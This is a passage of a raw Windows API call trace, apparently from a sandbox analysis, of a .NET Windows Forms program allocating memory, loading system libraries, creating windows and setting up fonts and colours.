lpMem=0xdfff90 | out: hHeap=0xd90000) returned 1 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dcf8 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd10 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd28 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd40 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd58 [0122.908] GetProcessHeap () returned 0xd90000 [0122.908] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd70 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dd88 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dda0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7ddb8 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7ddd0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dde8 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de00 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de18 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de30 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de48 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de60 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de78 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7de90 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dea8 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7dec0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7ded8 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7def0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7df08 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0xe7df20 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a128 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a140 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a158 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a170 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a188 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a1a0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a1b8 [0122.909] GetProcessHeap () returned 0xd90000 [0122.909] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a1d0 [0122.909] GetProcessHeap () returned 0xd90000 [0122.910] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x400) returned 0x512a510 [0122.910] GetProcessHeap () returned 0xd90000 [0122.910] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0x5129f08 | out: hHeap=0xd90000) returned 1 [0122.910] GetProcessHeap () returned 0xd90000 [0122.910] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xc) returned 0x512a1e8 [0122.912] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0122.912] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x3e8) returned 0x0 [0122.915] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6d6b4, nSize=0x64 | out: lpBuffer="") returned 0x0 [0122.916] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0122.916] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x3e8) returned 0x0 [0127.160] GetProcessHeap () returned 0xd90000 [0127.160] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdefa18 | out: hHeap=0xd90000) returned 1 [0127.160] GetProcessHeap () returned 0xd90000 [0127.160] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe01ca0 | out: hHeap=0xd90000) returned 1 [0127.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0xb6ebc8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0127.791] IsAppThemed () returned 0x1 [0127.838] CoTaskMemAlloc (cb=0xf0) returned 0xe02bd8 [0127.838] CreateActCtxA (pActCtx=0xb6f0c4) returned 0xe06274 [0127.992] CoTaskMemFree (pv=0xe02bd8) [0127.996] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc11d [0127.996] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc11e [0127.998] GetProcessHeap () returned 0xd90000 [0127.998] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe07300 | out: hHeap=0xd90000) returned 1 [0127.998] GetProcessHeap () returned 0xd90000 [0127.998] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe07328 | out: hHeap=0xd90000) returned 1 [0128.238] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0128.277] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x737b0000 [0128.603] AdjustWindowRectEx (in: lpRect=0xb6f120, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0xb6f120) returned 1 [0128.650] GetCurrentProcess () returned 0xffffffff [0128.650] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xb6f038, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xb6f038*=0x234) returned 1 [0128.696] GetCurrentActCtx (in: lphActCtx=0xb6ef98 | out: lphActCtx=0xb6ef98*=0x0) returned 1 [0128.697] ActivateActCtx (in: hActCtx=0xe06274, lpCookie=0xb6efa8 | out: hActCtx=0xe06274, lpCookie=0xb6efa8) returned 1 [0128.697] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0128.702] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73000000 [0128.822] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75c60000 [0128.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0xb6ee60, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x94p6¼J­\x94Â7tHó¶", lpUsedDefaultChar=0x0) returned 14 [0128.822] GetProcAddress (hModule=0x75c60000, lpProcName="DefWindowProcW") returned 0x76ff25dd [0128.822] GetStockObject (i=5) returned 0x1900015 [0128.824] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0128.868] CoTaskMemAlloc (cb=0x5c) returned 0xe08eb0 [0128.868] RegisterClassW (lpWndClass=0xb6ee50) returned 0xc11f [0128.868] CoTaskMemFree (pv=0xe08eb0) [0128.869] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0128.869] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x20110 [0128.869] SetWindowLongW (hWnd=0x20110, nIndex=-4, dwNewLong=1996432861) returned 85788854 [0128.869] GetWindowLongW (hWnd=0x20110, nIndex=-4) returned 1996432861 [0128.871] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0xb6e760 | out: phkResult=0xb6e760*=0x244) returned 0x0 [0128.871] RegQueryValueExW (in: hKey=0x244, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0xb6e780, lpData=0x0, lpcbData=0xb6e77c*=0x0 | out: lpType=0xb6e780*=0x0, lpData=0x0, lpcbData=0xb6e77c*=0x0) returned 0x2 [0128.871] RegQueryValueExW (in: hKey=0x244, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0xb6e780, lpData=0x0, lpcbData=0xb6e77c*=0x0 | out: lpType=0xb6e780*=0x0, lpData=0x0, lpcbData=0xb6e77c*=0x0) returned 0x2 [0128.871] RegCloseKey (hKey=0x244) returned 0x0 [0128.915] SetWindowLongW (hWnd=0x20110, nIndex=-4, dwNewLong=85788894) returned 1996432861 [0128.915] GetWindowLongW (hWnd=0x20110, nIndex=-4) returned 85788894 [0128.915] GetWindowLongW (hWnd=0x20110, nIndex=-16) returned 113311744 [0128.915] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc120 [0128.916] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc121 [0128.916] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x20110, Msg=0x81, wParam=0x0, lParam=0xb6ea2c) returned 0x1 [0128.916] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x20110, Msg=0x83, wParam=0x0, lParam=0xb6ea18) returned 0x0 [0128.916] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x20110, Msg=0x1, wParam=0x0, lParam=0xb6ea2c) returned 0x0 [0128.916] GetClientRect (in: hWnd=0x20110, lpRect=0xb6e794 | out: lpRect=0xb6e794) returned 1 [0128.916] GetWindowRect (in: hWnd=0x20110, lpRect=0xb6e794 | out: lpRect=0xb6e794) returned 1 [0128.917] GetParent (hWnd=0x20110) returned 0x0 [0128.917] DeactivateActCtx (dwFlags=0x0, ulCookie=0x19e40001) returned 1 [0130.426] GetProcessHeap () returned 0xd90000 [0130.426] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe10bc0 | out: hHeap=0xd90000) returned 1 [0130.426] GetProcessHeap () returned 0xd90000 [0130.426] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe05358 | out: hHeap=0xd90000) returned 1 [0130.430] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.430] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.431] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.431] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.431] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.431] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.431] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.434] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.434] AdjustWindowRectEx (in: lpRect=0xb6ed64, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed64) returned 1 [0130.434] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.434] AdjustWindowRectEx (in: lpRect=0xb6ed64, dwStyle=0x56010000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed64) returned 1 [0130.434] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.434] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.435] LoadLibraryW (lpLibFileName="RichEd20.DLL") returned 0x72f80000 [0130.475] CoTaskMemAlloc (cb=0x20c) returned 0xe11be0 [0130.475] GetModuleFileNameW (in: hModule=0x72f80000, lpFilename=0xe11be0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll")) returned 0x20 [0130.475] CoTaskMemFree (pv=0xe11be0) [0130.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0xb6e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0130.477] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL", nBufferLength=0x105, lpBuffer=0xb6e71c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\RichEd20.DLL", lpFilePart=0x0) returned 0x20 [0130.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6eb7c) returned 1 [0130.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\RichEd20.DLL" (normalized: "c:\\windows\\system32\\riched20.dll"), fInfoLevelId=0x0, lpFileInformation=0xb6ebf8 | out: lpFileInformation=0xb6ebf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af9647e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9af9647e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af9647e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x73a00)) returned 1 [0130.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6eb78) returned 1 [0130.479] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", lpdwHandle=0xb6ec6c | out: lpdwHandle=0xb6ec6c) returned 0x72c [0130.479] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\RichEd20.DLL", dwHandle=0x0, dwLen=0x72c, lpData=0x2a9ff64 | out: lpData=0x2a9ff64) returned 1 [0130.480] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb6ec40, puLen=0xb6ec3c | out: lplpBuffer=0xb6ec40*=0x2aa02f4, puLen=0xb6ec3c) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa0060, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa00b4, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa0110, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa014c, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa0184, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa01fc, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa0238, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa02ac, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x2aa0014, puLen=0xb6ebbc) returned 1 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x0, puLen=0xb6ebbc) returned 0 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x0, puLen=0xb6ebbc) returned 0 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xb6ebc0, puLen=0xb6ebbc | out: lplpBuffer=0xb6ebc0*=0x0, puLen=0xb6ebbc) returned 0 [0130.482] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb6ebb4, puLen=0xb6ebb0 | out: lplpBuffer=0xb6ebb4*=0x2aa02f4, puLen=0xb6ebb0) returned 1 [0130.482] VerLanguageNameW (in: wLang=0x0, szLang=0xb6e944, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0130.495] VerQueryValueW (in: pBlock=0x2a9ff64, lpSubBlock="\\", lplpBuffer=0xb6ebc4, puLen=0xb6ebc0 | out: lplpBuffer=0xb6ebc4*=0x2a9ff8c, puLen=0xb6ebc0) returned 1 [0130.495] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.496] AdjustWindowRectEx (in: lpRect=0xb6ed54, dwStyle=0x560101c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0xb6ed54) returned 1 [0130.501] GetSystemDefaultLCID () returned 0x409 [0130.501] GetStockObject (i=17) returned 0x18a0025 [0130.502] GetObjectW (in: h=0x18a0025, c=92, pv=0xb6eb78 | out: pv=0xb6eb78) returned 92 [0130.502] GetDC (hWnd=0x0) returned 0x1401007f [0130.524] GdiplusStartup (in: token=0x128db0, input=0xb6e148, output=0xb6e198 | out: token=0x128db0, output=0xb6e198) returned 0x0 [0130.539] CoTaskMemAlloc (cb=0x5c) returned 0xe08eb0 [0130.540] GdipCreateFontFromLogfontW (hdc=0x1401007f, logfont=0xe08eb0, font=0xb6ec40) returned 0x0 [0130.629] CoTaskMemFree (pv=0xe08eb0) [0130.630] CoTaskMemAlloc (cb=0x5c) returned 0xe08eb0 [0130.630] CoTaskMemFree (pv=0xe08eb0) [0130.630] CoTaskMemAlloc (cb=0x5c) returned 0xe08eb0 [0130.630] CoTaskMemFree (pv=0xe08eb0) [0130.630] GdipGetFontUnit (font=0xef2230, unit=0xb6ec0c) returned 0x0 [0130.630] GdipGetFontSize (font=0xef2230, size=0xb6ec10) returned 0x0 [0130.630] GdipGetFontStyle (font=0xef2230, style=0xb6ec08) returned 0x0 [0130.630] GdipGetFamily (font=0xef2230, family=0xb6ec04) returned 0x0 [0130.631] GdipGetFontSize (font=0xef2230, size=0x2aa1d18) returned 0x0 [0130.631] ReleaseDC (hWnd=0x0, hDC=0x1401007f) returned 1 [0130.631] GetDC (hWnd=0x0) returned 0x100101b7 [0130.632] GdipCreateFromHDC (hdc=0x100101b7, graphics=0xb6ec2c) returned 0x0 [0130.632] GdipGetDpiY (graphics=0x59bfcf0, dpi=0x2aa1e20) returned 0x0 [0130.632] GdipGetFontHeight (font=0xef2230, graphics=0x59bfcf0, height=0xb6ec24) returned 0x0 [0130.632] GdipGetEmHeight (family=0xeff6b8, style=0, EmHeight=0xb6ec2c) returned 0x0 [0130.632] GdipGetLineSpacing (family=0xeff6b8, style=0, LineSpacing=0xb6ec2c) returned 0x0 [0130.633] GdipDeleteGraphics (graphics=0x59bfcf0) returned 0x0 [0130.633] ReleaseDC (hWnd=0x0, hDC=0x100101b7) returned 1 [0130.633] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41040000, style=0, unit=0x3, font=0x2aa1de0) returned 0x0 [0130.633] GdipGetFontSize (font=0x5a12940, size=0x2aa1de4) returned 0x0 [0130.633] GdipDeleteFont (font=0xef2230) returned 0x0 [0130.634] GetDC (hWnd=0x0) returned 0x100101b7 [0130.634] GdipCreateFromHDC (hdc=0x100101b7, graphics=0xb6ec94) returned 0x0 [0130.634] GdipGetFontHeight (font=0x5a12940, graphics=0x59bfcf0, height=0xb6ec8c) returned 0x0 [0130.634] GdipDeleteGraphics (graphics=0x59bfcf0) returned 0x0 [0130.634] ReleaseDC (hWnd=0x0, hDC=0x100101b7) returned 1 [0130.635] GetSystemMetrics (nIndex=5) returned 1 [0130.635] GetSystemMetrics (nIndex=6) returned 1 [0130.635] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.635] AdjustWindowRectEx (in: lpRect=0xb6ed60, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ed60) returned 1 [0130.648] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e31c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.654] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e31c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.659] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e31c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.660] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e31c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.661] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.662] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x417c0000, style=1, unit=0x3, font=0x2aa504c) returned 0x0 [0130.662] GdipGetFontSize (font=0xef2230, size=0x2aa5050) returned 0x0 [0130.673] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.673] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.674] GetUserObjectInformationA (in: hObj=0x5c, nIndex=1, pvInfo=0x2aa62a4, nLength=0xc, lpnLengthNeeded=0xb6eb9c | out: pvInfo=0x2aa62a4, lpnLengthNeeded=0xb6eb9c) returned 1 [0130.676] SetConsoleCtrlHandler (HandlerRoutine=0x51d092e, Add=1) returned 1 [0130.677] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0130.677] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0130.677] GetClassInfoW (in: hInstance=0x290000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x2aa6308 | out: lpWndClass=0x2aa6308) returned 0 [0130.678] CoTaskMemAlloc (cb=0x58) returned 0xdcf070 [0130.678] RegisterClassW (lpWndClass=0xb6eaec) returned 0xc125 [0130.678] CoTaskMemFree (pv=0xdcf070) [0130.679] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x10158 [0130.679] NtdllDefWindowProc_W () returned 0x0 [0130.680] NtdllDefWindowProc_W () returned 0x0 [0130.680] NtdllDefWindowProc_W () returned 0x0 [0130.680] NtdllDefWindowProc_W () returned 0x0 [0130.682] GetSysColor (nIndex=10) returned 0xb4b4b4 [0130.682] GetSysColor (nIndex=2) returned 0xd1b499 [0130.682] GetSysColor (nIndex=9) returned 0x0 [0130.682] GetSysColor (nIndex=12) returned 0xababab [0130.682] GetSysColor (nIndex=15) returned 0xf0f0f0 [0130.682] GetSysColor (nIndex=20) returned 0xffffff [0130.682] GetSysColor (nIndex=16) returned 0xa0a0a0 [0130.682] GetSysColor (nIndex=15) returned 0xf0f0f0 [0130.682] GetSysColor (nIndex=16) returned 0xa0a0a0 [0130.682] GetSysColor (nIndex=21) returned 0x696969 [0130.682] GetSysColor (nIndex=22) returned 0xe3e3e3 [0130.682] GetSysColor (nIndex=20) returned 0xffffff [0130.682] GetSysColor (nIndex=18) returned 0x0 [0130.682] GetSysColor (nIndex=1) returned 0x0 [0130.682] GetSysColor (nIndex=27) returned 0xead1b9 [0130.682] GetSysColor (nIndex=28) returned 0xf2e4d7 [0130.682] GetSysColor (nIndex=17) returned 0x6d6d6d [0130.682] GetSysColor (nIndex=13) returned 0xff9933 [0130.682] GetSysColor (nIndex=14) returned 0xffffff [0130.682] GetSysColor (nIndex=26) returned 0xcc6600 [0130.682] GetSysColor (nIndex=11) returned 0xfcf7f4 [0130.682] GetSysColor (nIndex=3) returned 0xdbcdbf [0130.682] GetSysColor (nIndex=19) returned 0x544e43 [0130.682] GetSysColor (nIndex=24) returned 0xe1ffff [0130.682] GetSysColor (nIndex=23) returned 0x0 [0130.682] GetSysColor (nIndex=4) returned 0xf0f0f0 [0130.682] GetSysColor (nIndex=30) returned 0xf0f0f0 [0130.682] GetSysColor (nIndex=29) returned 0xff9933 [0130.682] GetSysColor (nIndex=7) returned 0x0 [0130.682] GetSysColor (nIndex=0) returned 0xc8c8c8 [0130.682] GetSysColor (nIndex=5) returned 0xffffff [0130.682] GetSysColor (nIndex=6) returned 0x646464 [0130.683] GetSysColor (nIndex=8) returned 0x0 [0130.683] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.683] AdjustWindowRectEx (in: lpRect=0xb6ecc0, 